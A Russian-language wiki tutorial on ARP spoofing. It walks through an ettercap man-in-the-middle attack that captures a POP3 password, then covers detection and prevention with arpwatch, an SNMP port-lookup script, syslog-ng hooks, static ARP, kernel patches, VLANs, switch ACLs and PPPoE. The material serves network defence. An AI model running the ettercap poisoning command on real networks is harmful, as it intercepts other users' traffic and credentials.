В статье детально описана техника атаки ARP-spoofing, на примере атаки, выполненной с помощью программы ettercap; рассмотрены такие методы обнаружения и предотвращения ARP-атак, как слежение за ARP-активностью с помощью arpwatch, наложение специальных патчей для придания иммунитета системам, использование VLAN и PPPoE. Показано как решать имеющие непосредственное отношение к протоколу ARP задачи: поиск компьютеров по известному MAC-адресу и обнаружение новых компьютеров в сети.

Протокол ARP и атаки с его использованием

Что такое и для чего нужен ARP

Протокол ARP предназначен для преобразования IP-адресов в MAC-адреса. Чаще всего речь идёт преобразовании в адреса Ethernet, но ARP используется и в сетях других технологий: Token Ring, FDDI и других.
Дополнительная информация:

• Address Resolution Protocol — страница в Wikipedia
• RFC 826 — описание стандарта ARP

Алгоритм работы ARP

Протокол может использоваться в следующих случаях:

1. Хост A хочет передать IP-пакет узлу B, находящемуся с ним в одной сети;
2. Хост A хочет передать IP-пакет узлу B, находящемуся с ним в разных сетях, и пользуется для этого услугами маршрутизатора R.

В любом из этих случае узлом A будет использоваться протокол ARP, только в первом случае для определения MAC-адреса узла B, а во втором — для определения MAC-адреса маршрутизатора R. В последнем случае пакет будет передан маршрутизатору для дальнейшей ретрансляции.

Далее для простоты рассматривается первый случай, когда информацией обмениваются узлы, находящиеся непосредственном в одной сети. (Случай когда пакет адресован узлу находящемуся за маршрутизатором отличается только тем, что в пакетах передаваемых после того как ARP-преобразование завершено, используется IP-адрес получателя, но MAC-адрес маршрутизатора, а не получателя.)

Проблемы ARP

Протокол ARP является абсолютно незащищённым. Он не обладает никакими способами проверки подлинности пакетов: как запросов, так и ответов. Ситуация становится ещё более сложной, когда может использоваться самопроизвольный ARP (gratuitous ARP).

Самопроизвольный ARP — такое поведение ARP, когда ARP-ответ присылается, когда в этом (с точки зрения получателя) нет особой необходимости. Самопроизвольный ARP-ответ это пакет-ответ ARP, присланный без запроса. Он применяется для определения конфликтов IP-адресов в сети: как только станция получает адрес по DHCP или адрес присваивается вручную, рассылается ARP-ответ gratuitous ARP.

Самопроизвольный ARP может быть полезен в следующих случаях:

• Обновление ARP-таблиц, в частности, в кластерных системах;
• Информирование коммутаторов;
• Извещение о включении сетевого интерфейса.

Несмотря на эффективность самопроизвольного ARP, он является особенно небезопасным, поскольку с его помощью можно уверить удалённый узел в том, что MAC-адрес какой-либо системы, находящейся с ней в одной сети, изменился и указать, какой адрес используется теперь.

Подробнее:

• Gratuitous_ARP на wiki.wireshark.org

ARP-spoofing

До выполнения ARP-spoofing’а в ARP-таблице узлов A и B существуют записи с IP- и MAC-адресами друг друга. Обмен информацией производится непосредственно между узлами A и B. (зелёная стрелка)

В ходе выполнения ARP-spoofing’а компьютер C, выполняющий атаку, отправляет ARP-ответы (без получения запросов):

• узлу A: с IP-адресом узла B и MAC-адресом узла C;
• узлу B: с IP-адресом узла A и MAC-адресом узла C.

В силу того что компьютеры поддерживают самопроизвольный ARP (gratuitous ARP), они модифицируют собственные ARP-таблицы и помещают туда записи, где вместо настоящих MAC-адресов компьютеров A и B стоит MAC-адрес компьютера C. (красные стрелки)

После того как атака выполнена, когда компьютер A хочет передать пакет компьютеру B, он находит в ARP-таблице запись (она соответствует компьютеру C) и определяет из неё MAC-адрес получателя. Отправленный по этому MAC-адресу пакет приходит компьютеру C вместо получателя. Компьютер C затем ретранслирует пакет тому, кому он действительно адресован — т.е. компьютеру B. (синие стрелки)

Инструменты для выполнения ARP-spoofing’а

В настоящее время существует несколько инструментов для выполнения ARP-spoofing’а, работающие как в ОС Linux, так и в ОС Windows.

Наиболее известные:

• Ettercap
• Cain & Abel
• dsniff
• arp-sk

Все названные программы распространяются свободно.

Выполнение ARP-spoofing’а c помощью ettercap

[Пример выполнения атаки с помощью ettercap.] Рассмотрим как выполнить вышеописанную атаку с помощью ettercap.

• Что происходит на машине A.
• Что происходит на машине B.
• Что происходит на машине C.

Детально рассмотрим как выполняется ARP-spoofing. В качестве инструмента будем использовать программу ettercap, однако другие инструменты для выполнения ARP-spoofing’а работают аналогичным образом.

• Машина A — hostA — 192.168.15.201 — 00:04:75:75:46:B1
• Машина B — hostB — 192.168.15.254 — 00:0A:01:D4:D1:39
• Машина C — hostC — 192.168.15.200 — 00:0A:01:D4:D1:E3

Атаку выполняет hostC против узлов hostA и hostB.

Установить ettercap принятым в системе способом:

hostC%# apt-get install ettercap

Выполнить атаку против узлов hostA и hostB:

%# ettercap -T -M arp -L log /192.168.15.201/ /192.168.15.254/

Опции означают:

• -T — использовать текстовый (консольный) интерфейс;
• -M arp — использовать модуль ARP-spoofing’а для выполнения атаки;
• -L log — записывать журнал перехвата в файлы с именем log.*;

В качестве аргументов указываются IP-адреса машин, против которых нужно выполнять атаку ARP-spoofing.
Пусть, например, в это время узел A обращается к узлу B по протоколу POP3, классическому примеру незащищённого, но очень распространённого протокола — проверяет почту.

hostA %# nc 192.168.15.254 110
USER user
+OK
PASS password
+OK
LIST
+OK
.

Данные передающиеся между клиентом hostA и сервером hostB проходят через узел C. Они выводятся на экран и записываются в файлы.

После того как атака завершена для выхода из ettercap необходимо нажать q. Программа отсылает ARP-пакеты для восстановления старых записей в кэше ARP узлов, чтобы они общались друг с другом напрямую.

В текущем каталоге должны появиться два файла, начинающиеся словом, указанным после ключа -L при вызове ettercap:

%# ls log.*
log.eci
log.ecp

Просмотреть их содержимое можно с помощью программы etterlog, входящей в пакет ettercap:

%# etterlog log.eci

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Log file version    : NG-0.7.3
Timestamp           : Thu Jun 21 12:23:11 2007
Type                : LOG_INFO
1698 tcp OS fingerprint
7587 mac vendor fingerprint
2183 known services
==================================================
 IP address   : 192.168.15.201
 MAC address  : 00:04:75:75:46:B1
...
 MANUFACTURER : Sohoware
 DISTANCE     : 0
 TYPE         : LAN host
 FINGERPRINT      :
 OPERATING SYSTEM : UNKNOWN
   PORT     : TCP 110 | pop-3   []
      ACCOUNT : user
 / password
  (192.168.15.201)
==================================================

Как видно, пароль был успешно перехвачен.
Посмотрим как на узле hostA (атакуемом) меняется ARP-таблица

До атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0

Во время атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:E3 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0

После атаки.

hostA%# arp -an
? (192.168.15.254) at 00:0A:01:D4:D1:39 [ether] on eth0
? (192.168.15.200) at 00:0A:01:D4:D1:E3 [ether] on eth0

Если смотреть, что происходит на интерфейсе eth0 компьютера hostA (через который выполняется атака), можно увидеть, что как только начинается атака, на интерфейс поступают ARP-пакеты, которые указывают, что MAC-адрес машины 192.168.15.254 изменился. Пакеты приходят постоянно. Когда атака завершена, MAC-адрес в пакета внезапно меняется на другой. А потом они вообще перестают приходить.

%# tcpdump -i eth0 arp
08:34:20.231680 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:21.259637 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:22.287591 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:23.315522 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:e3 (oui Unknown)
08:34:32.463255 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:33.491040 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)
08:34:34.514988 arp reply 192.168.15.254 is-at 00:0a:01:d4:d1:39 (oui Unknown)

Такая техника гарантирует, что таблица ARP на жертвах будет восстановлена и никто не заметит атаки.

Методы обнаружения

arpwatch

Программа arpwatch отслеживает всю ARP-активность на указанных интерфейсах. Когда она замечает аномалии, например, изменение MAC-адреса при сохранении IP-адреса, или наоборот, она сообщает об этом в syslog.

Инсталляция и конфигурирование arpwatch

Процедуру инсталляции и конфигурирования arpwatch рассмотрим на примере системы Debian GNU/Linux.

Установка arpwatch выполняется традиционным для дистрибутива способом:

%# apt-get install arpwatch

0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 124kB of archives.
After unpacking 389kB of additional disk space will be used.
Get:1 http://debian.ZLO.ZLO.ZLO etch/main arpwatch 2.1a13-2 [124kB]
Fetched 124kB in 0s (177kB/s)
Selecting previously deselected package arpwatch.
(Reading database ... 22406 files and directories currently installed.)
Unpacking arpwatch (from .../arpwatch_2.1a13-2_i386.deb) ...
Setting up arpwatch (2.1a13-2) ...
Starting Ethernet/FDDI station monitor daemon: (chown arpwatch /var/lib/arpwatch/arp.dat) arpwatch.

После того как демон проинсталлирован, он автоматически заускается. (в других системах его, возможно, нужно будет запускать вручную.)

%# ps aux | grep arpwatch
arpwatch  4810  0.5  0.4   3448  2360 ?        S    08:36   0:00 /usr/sbin/arpwatch -u arpwatch -N -p
root      4827  0.0  0.1   2852   712 pts/6    R+   08:36   0:00 grep arpwatch

Демон не имеет никаких конфигурационных файлов. Конфигурация arpwatch полностью определяется набором передаваемых ему ключей. В Debian GNU/Linux ключи указываются в конфигурационном файле /etc/default/arpwatch (в FreeBSD — в файле /etc/rc.conf).

При необходимости изменить конфигурацию arpwatch (в частности, заставить его прослушивать другие интерфейсы), нужно править указанный файл:

%# vi /etc/default/arpwatch
%# cat /etc/default/arpwatch

# Global options for arpwatch(8).
# Debian: don't report bogons, don't use PROMISC.
ARGS="-N -p"
# Debian: run as `arpwatch' user.  Empty this to run as root.
RUNAS="arpwatch"

Если конфигурация была изменена, демон должен быть перезапущен:

%# /etc/init.d/arpwatch restart

Когда демон запускается, он обнаруживает новые станции. Не выполняется никаких активных действий — просто прослушивается ARP-трафик. Обнаруженные узлы запоминаются; о том, что обнаружен новый узел arpwatch сообщает в syslog.

Обо всех зафиксированных им аномалиях в работе протокола ARP демон также сообщает в syslog:

# tail -f /var/log/daemon.log
Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.200 0:a:1:d4:d1:e3 eth0
Jun 21 08:37:08 s_all@linux2 arpwatch: new station 192.168.15.201 0:4:75:75:46:b1 eth0
Jun 21 08:37:09 s_all@linux2 arpwatch: new station 192.168.15.254 0:a:1:d4:d1:39 eth0
Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:11 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:12 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0
Jun 21 08:37:13 s_all@linux2 arpwatch: ethernet mismatch 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

Обратите внимание на строку

Jun 21 08:37:09 s_all@linux2 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

которая сообщает о том, что узел 192.168.15.254 изменил MAC-адрес.

Возможно, это означает, что против узла, на котором запущен arpwatch выполняется ARP-spoofing с целью перехвата трафика, которым он обменивается с узлом 192.168.15.254.

Дополнительная информация

• LBNL’s Network Research Group — домашняя страница arpwatch

Обнаружение узла, выполняющего ARP-spoofing

Основная статья: Поиск хоста по MAC-адресу

Если коммутатор управляемый, можно определить, на каком из его портов работает узел, имеющий определённый MAC-адрес.

Например, это можно сделать с помощью скрипта mac2port. Скрипт связывается с коммутатором по SNMP и опрашивает его таблицу соответствия MAC-адресов портам. Полученная информация выдаётся в удобном для поиска виде на стандартный поток вывода. Для упрощения использования скрипт выводит MAC-адреса в таком же формате, как это делает arpwatch.

Условия для использования скрипта:

• скрипт должен быть размещён в каталоге /usr/local/bin, или другом каталоге указанном в PATH;
• скрипт должен быть исполняемым (chmod +x mac2port) или вызываться с интерпретатором perl;
• в теле скрипта должен быть указан IP-адрес коммутатора и его SNMP RO community;
• коммутатор должен поддерживать SNMP версии 2; поддержка должна быть включена (не сложно переписать скрипт на более безопасный протокол SNMPv3, но эта версия работает именно с SNMPv2).

Пример использования скрипта:

%# ./mac2port
0:4:76:a1:ef:bb ->  1
0:a:1:d4:d1:e3 ->  2
0:15:60:79:8e:c0 ->  0
0:4:75:75:46:b1 ->  3
0:a:1:d4:d1:39 ->  44

Если ранее с помощью arpwatch была зафиксирована атака:

%# cat /var/log/daemon.log | grep 'changed ethernet address'
Jun 21 08:37:09 s_all@linux2/192.168.15.201 arpwatch: changed ethernet address 192.168.15.254 0:a:1:d4:d1:e3 (0:a:1:d4:d1:39) eth0

можно воспользоваться скриптом, и определить с какого порта коммутатора она производилась (при этом не имеет значения, истинный ли это MAC-адрес сетевой карты атакующего или он был изменён):

%# mac=$(cat /var/log/daemon.log | grep 'changed ethernet address' | awk '{print $10}')
%# ./mac2port | grep $mac
0:a:1:d4:d1:e3 ->  2

Важно чтобы определение выполнялось быстро, пока информация об атакующем ещё хранится в памяти коммутатора.

Для этого имеет смысл вызывать скрипт поиска автоматически при обнаружении соответствующей записи в системном журнале. Анализ журнала можно выполнять, например, такими средствами как swatch или syslog-ng.

Например, если используется syslog-ng.
можно создать скрипт, выполняющий анализ:

/usr/local/bin/syslog-ng-arpwatch

#!/bin/sh

PATH=$PATH:/usr/local/bin

while read line
do
mac="$(echo $line | grep 'changed ethernet address' | awk '{print $10}')"
[ -z "$mac"] && continue
( echo POSSIBLY ARP-SPOOFING FROM:; mac2port | grep "$mac" )| logger -t   arp-spoofing
done

и подключить его к syslog-ng.

Для этого нужно в конфигурационном файле syslog-ng.conf указать следующие строки:

destination dp_arpspoofing {
        program("/usr/local/bin/syslog-ng-arpwatch");
};
filter f_arpspoofing {
        match ("arpwatch");
};
log {
        source(s_all);
        filter (f_arpspoofing);
        destination(dp_arpspoofing);
};

Строку

       filter (f_arpspoofing);

можно и не указывать, но на нагруженных системах, она существенно снижает нагрузку.

В этом случае при выполнении arp-spoofing’а происходит следующее:

1. Демон arpwatch кидает информацию в syslog (через стандартный сокет /dev/log или /var/run/log);
2. В том случае, если в качестве syslog-сервера используется Syslog-NG, он обнаруживает сигнатуру сообщения и передаёт обнаруженную строку скрипту syslog-ng-arpwatch;
3. Скрипт syslog-ng-arpwatch, если видит, что проблема действительная связана с ARP-spoofing’ом, вызывает скрипт поиска порта по MAC-адресу;
4. Скрипт mac2port обращается к коммутатору по SNMP;
5. Коммутатор отвечает — передаёт таблицы содержащую информацию о соответствии MAC-адресов портам вызвавшему его скрипту;
6. Скрипт mac2port возвращает таблицу соответствия MAC-адресов портам коммутатора скрипту syslog-ng-arpwatch;
7. Скрипт syslog-ng-arpwatch находит интересующий порт и пишет сообщение в syslog;
8. Демон syslog-ng записыват сообщение с информацией о порте коммутатора в файл, а также может передать его по SMS или почте администратору или вызвать внешнюю программу (которая, например, после дополнительных проверок может заблокировать порт коммутатора);
9. Администратор читает об обнаруженной атаке в файле.

Вот как это выглядит в файле:

Jun 21 13:55:23 s_all@linux3 arp-spoofing: POSSIBLY ARP-SPOOFING FROM:
Jun 21 13:55:23 s_all@linux3 arp-spoofing: 0:a:1:d4:d1:e3 ->  2

Текст скрипта mac2port

#!/usr/bin/perl

our $community = "public";
our $switch = "192.168.15.100";

open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.1|")
 or die "Can't run snmpwalk";
while (<SNMP>)
{
        chomp;
        s@.1.3.6.1.2.1.17.4.3.1.1@@;
        my ($oid, $mac) = split /=\s*/;

        $_=$mac;
        s@"@@g; s@\s*$@@; s@ @:@g; s@(.)@\l\1@g; s@^0@@; s@:0@:@g;
        $mac_table{$_}=$oid;
}
close(SNMP);

open(SNMP,"snmpwalk -On -OQ -v2c -c $community $switch .1.3.6.1.2.1.17.4.3.1.2|")
 or die "Can't run snmpwalk";
while (<SNMP>)
{
        chomp;
        s@.1.3.6.1.2.1.17.4.3.1.2@@;
        my ($oid, $port) = split /=/;
        $ports_table{$oid}=$port;
}
close(SNMP);

for $oid (keys %mac_table) {
        print "$oid -> ".$ports_table{$mac_table{$oid}}."\n";
}

Другие средства обнаружения

• XArp — аналог arpwatch для Windows
• remarp — аналог arpwatch, работающий через SNMP
• * ArpStar — система автоматического обнаружения и предотвращения ARP-spoofing’a; возможно восстановление ARP-таблицы заражённых узлов

Методы предотвращения

Борьба с ARP-spoofing’ом с помощью arpwatch и подобных инструментов оказывается хотя и очень простой, но далеко не эффективной.

• Во-первых, для того чтобы зафиксировать атаку, на защищаемых узлах должна работать программа arpwatch (или аналогичная). В том случае если она запущена только на одном из двух узлов, подвергающихся ARP-spoofing’у, существует возможность незамеченной односторонней атаки.
• Во-вторых, и это более важно, arpwatch позволяет только зафиксировать атаку, но он не в состоянии её предотвратить.

Для предотвращения последствий атаки необходимо вмешательство администратора или внешней системы. В первом случае между обнаружением и реакцией администратора может пройти слишком много времени. Во втором вмешательство не требуется, реакция выполняется автоматически: как только ARP-аномалия зафиксирована, определяется порт коммутатора, к которому подключён источник аномалии, и порт блокируется до выяcнения. Однако, такой подход имеет большой недостаток — он может быть использован для выполнения DOS атаки: достаточно только узнать MAC адрес компьютера, который надо отключит от сети, и сымитировать атаку с этого компьютера. Дальше наша система обнаружения и предотвращения ARP-spoofing’а все сделает сама.

В основе рассматриваемых способов противодействия ARP-атакам лежат два совершенно раличных принципа, каждый из которых обладает как достоинствами, так и недостатками.

Оба способа, помимо того что они надёжно защищают от ARP-spoofing’а имеют ещё то преимущество, что позволяют полностью контролировать трафик — не только тот, что проходит через шлюз, но и тот, который циркулирует между машинами (В случае использования PPPoE машины могут по взаимному согласию обмениваться данными между собой напрямую. В случае использования VLAN такой возможности они лишены напрочь.)

Статический ARP

Можно бороться со слабостями протокола ARP кардинально — просто не использовать его. ARP-таблицу можно сформировать вручную, при этом она становится неуязвимой к ARP-атакам. Для этого нужно добавить необходимые MAC-адреса в таблицу.

Если при этом отключить использование ARP на сетевых интерфейсах, то доступны будут только те системы, (1) MAC-адреса которых добавлены в ARP-таблицу нашего узла и (2) наш MAC-адрес добавлен в ARP-таблицы узлов, с которыми производится обмен трафиком.

Если не отключать использование ARP на сетевых интерфейсах, MAC-адрес заданный статически имеет приоритет. Если MAC-адрес для какого-то IP-адреса не задан, используется ARP-запрос.

Статическую ARP-таблицу можно получить на основе существующей ARP-таблицы маршрутизатора:

%# arp -an | grep -v incom | awk '{print $2" "$4}' | tr -d '()'

Если написать так:

%# arp -an | grep -v incom | awk '{print $2" "$4}' | tr -d '()' > /etc/ethers

она запишется в файл /etc/ethers

Нужно чтобы в таблице было максимальное количество машин сети. Нужно или строить таблицу в момент пика сетевой активности или предварительно пройдясь по всему диапазону адресов пингами:

for i in `seq 1 255`
do
    ping -c 1 192.168.15.$i >& /dev/null &
done

(здесь 192.168.15.0/24 — сеть, для которой выполняется сканирование).

После того как файл /etc/ethers создан, его можно загружать с помощью команды:

%# arp -f /etc/ethers

Дальше можно вообще отключить ARP на интерфейсе, и те кто не прописан в /etc/ethers, вообще не смогут пользоваться маршрутизатором.

%# ifconfig eth1 -arp

Преимущества и недостатки

Метод ручного формирования ARP-таблиц имеет следующие недостатки:

• добавляется много рутинной работы, связанной с добавлением и модификацией MAC-адресов. Каждое изменение в сети, связанное с заменой или перестановкой сетевых карт, должно сопровождаться редактирование ARP-таблиц в файлах.
• клиентские узлы остаются по-прежнему уязвимыми к ARP-spoofing’у.

Патчи ядра системы

Существует патч (предложенные buggzy) для ядер Linux/FreeBSD, который позволяет свести к минимуму опасность успешного выполнения атаки ARP-spoofing против пропатченных систем.

Суть метода состоит в следующем. При приеме ARP-ответа производится сравнение старого и нового MAC-адресов, и при обнаружении его изменения запускается процедура верификации. Посылается ARP-запрос, требующий всем хозяевам IP-адреса сообщить свои MAC-адреса.

Если выполняется атака настоящая система, имеющая этот IP-адрес, ответит на запрос, и, таким образом, атака будет распознана. Если же изменение MAC-адреса было связано не с атакой, а со стандартными ситуациями, ответа, содержащего «старый» MAC-адрес, не будет, и по прошествию определенного таймаута система обновит запись в кеше.

При обнаружении подозрительной ситуации («двойника») ядро выводит сообщение: «ARP_ANTIDOTE: Possible MITM attempt!», и не обновляет запись ARP-кеша, а наоборот, прописывает старую запись как статическую. После того как источник атаки выявлен и обезврежен, статическую запись можно удалить.

Патчи, реализующие этот метод борьбы:

• arp_antidote для Linux
• arp_antidote 2 для Linux
• Arp Poison patch для FreeBSD

Патчи работают только с ядром серии 2.4.

Другие методы борьбы с ARP-spoofing’ом

К сожалению, этот метод не применим к Windows-системам, и другим системам, работающим под управлением ОС, исходный код которых недоступен.

Необходимо решить проблему кардинально: нужно так построить сеть, чтобы выполнение ARP-spoofing’а в ней было принципиально невозможно. А если возможным, то бесполезным.

Это можно сделать двумя способами:

1. Ограничить для каждого узла широковещательный домен до уровня двух узлов: самого узла и ближайшего шлюза. подробнее. Почему атаку невозможно выполнить в этом случае. Тогда атаку просто некому выполнять — нужен третий. А его нет.
2. Сделать так чтобы все, абсолютно все, передаваемые в сети данные были зашифрованы и прослушивание этих данных, ни к чему бы не привело. Любое же изменение данных, в случае возникновения, сразу же обнаружено. То есть, фактически сеть должна быть такой же и безопасной при использовании вместо коммутатора концентратора.

Первый способ делается с помощью VLAN’ов и/или packet filtering на коммутаторах. Второй — с помощью PPPoE.

Использование VLAN

Основная статья: VLAN

Компьютер C может использовать ARP-spoofing против компьютера A только в том случае, если они находятся в одной сети канального уровня. В том случае, если они разделены маршрутизатором, атака невозможна (возможна атака на маршрутизатор, но это совсем другое дело).

VLAN’ы помогают сегментировать сеть — превратить одну сеть в множество изолированных на канальном уровне фрагментов, которые соединены между собой маршрутизатором. Атака ARP-spoofing возможна только между компьютерами находящимися в одном VLAN’е. В наиболее крайнем случае, когда в каждом VLAN’е находится только два компьютера: собственно компьютер и маршрутизатор, атака ARP-spoofing становится невозможной в принципе. К сожалению, такая организация сети являются очень требовательной к ресурсам маршрутизатора и используется редко.

Преимущества

1. От клиента ничего не требуется. Он работает, как и работал. Если IP-адрес задан статически, необходима смена IP-адреса и сетевой маски.
2. Данные не шифруются, и производительность не теряется. Малые потери на дополнительные поля в заголовке.
3. Нельзя организовать обмен данными в обход шлюза между узлами в разных VLAN’ах. Если каждый узел находится в собственном VLAN’е такой обмен невозможен вообще.

Недостатки

1. Необходима поддержка VLAN’ов коммутатором.
2. Необходимо потратить время на настройку VLAN’ов, дополнительную настройку DHCP’сервера.
3. Данные не шифруются. Если их прослушивание каким-то образом удастся, то они могут быть прочтены и/или модифицированы.

Существует мнение, что некоторые коммутаторы позволяют пересылать трафик из одного VLAN’а напрямую в другой в обход запрета прямой пересылки кадров между VLAN’ами. Об одном из способов подробнее можно почитать на странице [1]

Использование packet filtering ACL на коммутаторах

Современные коммутаторы Dlink и Cisco поддерживают продвинутые инструменты анализа пакетов и фильтрацию по их параметрам. Существуют два направления фильтрации:

1. Фильтрация всех ARP-пакетов на всех пользовательских портах, у которых в Sender protocol address (SPA) содержится IP-адрес шлюза. Тем самым защищаются от подмены адреса шлюза.
2. Фильтрация всех ARP-пакетов на каждом из пользовательских портов, у которых Sender hardware address (SHA) и Sender protocol address (SPA) не совпадают с известными заранее MAC и IP-адресами пользователя этого порта. Тем самым защищаются от всех arp-атак, то есть не только адреса шлюза, но и адреса другого пользователя.

Настройку ACL для предотвращения ARP-spoofing’а зачастую увязывают в один комплекс с выдачей ip по DHCP с использованием опции 82, позволяющей выдавать ip по порту устройства и IP-Mac-Port binding, запрещающего подмены IP/MAC на третьем уровне.

Настройка коммутаторов Dlink описана в FAQ(1, 2, 3) и на форуме dlink.ru (1, 2), настройка коммутаторов ProCurve в этом wiki.

Преимущества

1. От клиента ничего не требуется. Он работает, как и работал.
2. Данные не шифруются, и производительность не теряется.

Недостатки

1. Необходимость приобретения достаточно «умного» оборудования на access-уровень
2. Необходим инструмент по автоматизации привязок и выдачи новых ip в случае легальной смены оборудования пользователем.
3. Packet filtering запрещает подмены без какого-бы то ни было уведомления в логи.

Использование PPPoE

Основная статья: PPPoE

Преимущества

1. Данные шифруются
2. Нет никаких требований к железу. Даже не обязательно чтобы сеть была коммутируемой

Недостатки

1. На клиенте требуется настройка доступа по PPPoE. На некоторых системах требуется инсталляция специального клиентского программного обеспечения.
2. За счёт потерь на инкапсуляцию, снижается производительность сети. Если выполняется шифрование данных, то временные потери увеличиваются.
3. При взаимном согласии сторон можно организовать обмен данными между узлами в обход шлюза.
4. При большом количестве соединений PPPoE (>200) возрастает нагрузка на центральный процессор сервера. Иногда, приходится жертвовать шифрованием данных.
5. Если будет большая нагрузка на сервер легче использовать PPTPd или IPsec

Мифы и заблуждения, касающиеся ARP-spoofing

• ARP-spoofing можно предотвратить с помощью функции port-security коммутаторов

Функция port-security коммутатора позволяет защититься от смены MAC-адреса на порту коммутатора. В том случае если компьютер, подключенный к порту коммутатора меняет MAC-адрес или если меняется компьютер, коммутатор замечает подмену и перестаёт передавать пакеты отправленные с новым обратным адресом. Кроме этого, могут выполняться другие действия: отсылка SNMP-трапа, запись в syslog и тому подобное.

При ARP-spoofing’е MAC-адрес отправителя (атакующего) не меняется и поэтому с точки зрения port-security никаких аномалий нет. Функция port-security никак не отвечает за соответствие IP-адресов и MAC-адресов, а атака ARP-spoofing построена именно на этом.-

Дополнительная информация

• An introduction to ARP spoofing, Sean Whalen (англ.)
• ARP-spoofing в русской Википедии
• ARP-spoofing в Wikipedia (англ.)
• ARP: Questions & Answers
• Multiple Network Interfaces And ARP Flux — интересная страница про ARP на wiki-сайте OpenVZ
• Когда появился arp_accept? — обсуждение в списке рассылки debian-russian

Заметки на форумах:

• Про ARP-spoofing на пальцах — заметка на форуме local.com.ua
• ARP-spoofing и методы борьбы с ним — обсуждение статьи на форему Linux.org.ru

Материалы по канальному уровню сети на xgu.ru

• ARP
  • Proxy ARP
• Linux Bridge
  • man:brctl
• Агрегирование каналов
  • Linux Bonding
• OpenVPN Bridge
  • OpenVPN Proxy ARP

Безопасность канального уровня:

• arpwatch
  • man:arpwatch
• MAC-spoofing
• ARP-spoofing
• Поиск хоста по MAC-адресу
• port security
• ebtables
• Защита от подмены MAC-адреса в домене Xen
• VLAN

Материалы по безопасности на Xgu.ru

• Spoofing
  • MAC-spoofing
  • ARP-spoofing
  • IP-spoofing
  • DNS-spoofing
• Безопасность BGP